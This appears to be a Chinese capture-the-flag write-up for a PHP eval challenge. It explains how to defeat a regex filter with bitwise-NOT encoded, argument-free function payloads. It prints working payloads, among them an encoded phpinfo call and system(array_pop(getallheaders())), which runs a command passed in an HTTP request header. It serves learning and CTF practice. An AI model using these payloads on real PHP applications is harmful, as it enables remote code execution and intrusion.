简单的php
题目源码
<?php
show_source(__FILE__);
$code = $_GET['code'];
if(strlen($code) > 80 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',$code)){
die(' Hello');
}else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
@eval($code);
}
?>
首先对传入的code参数进行了正则过滤,过滤大小字母、数字、以及一些特殊符号,但是没有过滤 ~ 取反,
下面还有一个条件
if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code))
@eval($code);
这段代码的核心就是只允许函数而不允许函数中的参数,就是说传进去的值是一个字符串接一个()
,那么这个字符串就会被替换为空,如果替换后只剩下;
,那么这段代码就会被eval
执行。而且因为这个正则表达式是递归调用的,所以说像a(b(c()));
第一次匹配后就还剩
下a(b());
,第二次匹配后就还剩a();
,第三次匹配后就还剩;
了,所以说这一串a(b(c())),
就会被eval
执行,但相反,像a(b('111'));
这种存在参数的就不行
那么这题的解法就属于无参数的取反RCE
无参rce常用函数getallheaders() 获取全部 HTTP 请求头信息
get_defined_vars() 返回由所有已定义变量所组成的数组
session_id() 获取/设置 当前会话 ID
implode() 将一维数组转化为字符串
getchwd() 函数返回当前工作目录。
scandir() 函数返回指定目录中的文件和目录的数组。
dirname() 函数返回路径中的目录部分。
chdir() 函数改变当前的目录。
readfile() 输出一个文件。
current() 返回数组中的当前单元, 默认取第一个值。
pos() current() 的别名。
next() 函数将内部指针指向数组中的下一个元素,并输出。
end() 将内部指针指向数组中的最后一个元素,并输出。
array_rand() 函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。
array_flip() array_flip() 函数用于反转/交换数组中所有的键名以及它们关联的键值。
array_slice() 函数在数组中根据条件取出一段值,并返回。
array_reverse() 函数返回翻转顺序的数组。
chr() 函数从指定的 ASCII 值返回字符。
hex2bin() — 转换十六进制字符串为二进制字符串。
getenv() 获取一个环境变量的值(在7.1之后可以不给予参数)。
localeconv() 函数返回一包含本地数字及货币格式信息的数组。
我们先试着构造一个phpinfo()
取反后的结果就是:%8F%97%8F%96%91%99%90
正常我们取反rce,比如system(‘whoami’);
(~%8C%86%8C%8B%9A%92)(%88%97%90%9E%92%96);
但是这个payload里的括号会影响我们这题的正则替换
这样就不满足条件,所以我们要把小括号换城另一种符号,换成‘[ ]’中括号
当然在我们换成中括号后不能改变原来的意思,我们要取出字符串比如这样
所以我们就可以构造我们的phpinfo()了
也就是 [~%8F%97%8F%96%91%99%90][!%FF]();
这里的!%FF也就是0
成功执行,下面就是无参rce的构造了
打印请求头信息
var_dump(getallheaders());
[%89%9E%8D%A0%9B%8A%92%8F][!%FF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%FF]());
可以通过控制请求头来rce
system(array_pop(getallheaders()));
array_pop取数组的最后一个元素,所以我们要把命令放在最后一个请求头
这里用burp抓包改请求头
接下里就可以拿flag了
- 最新
- 最热
只看作者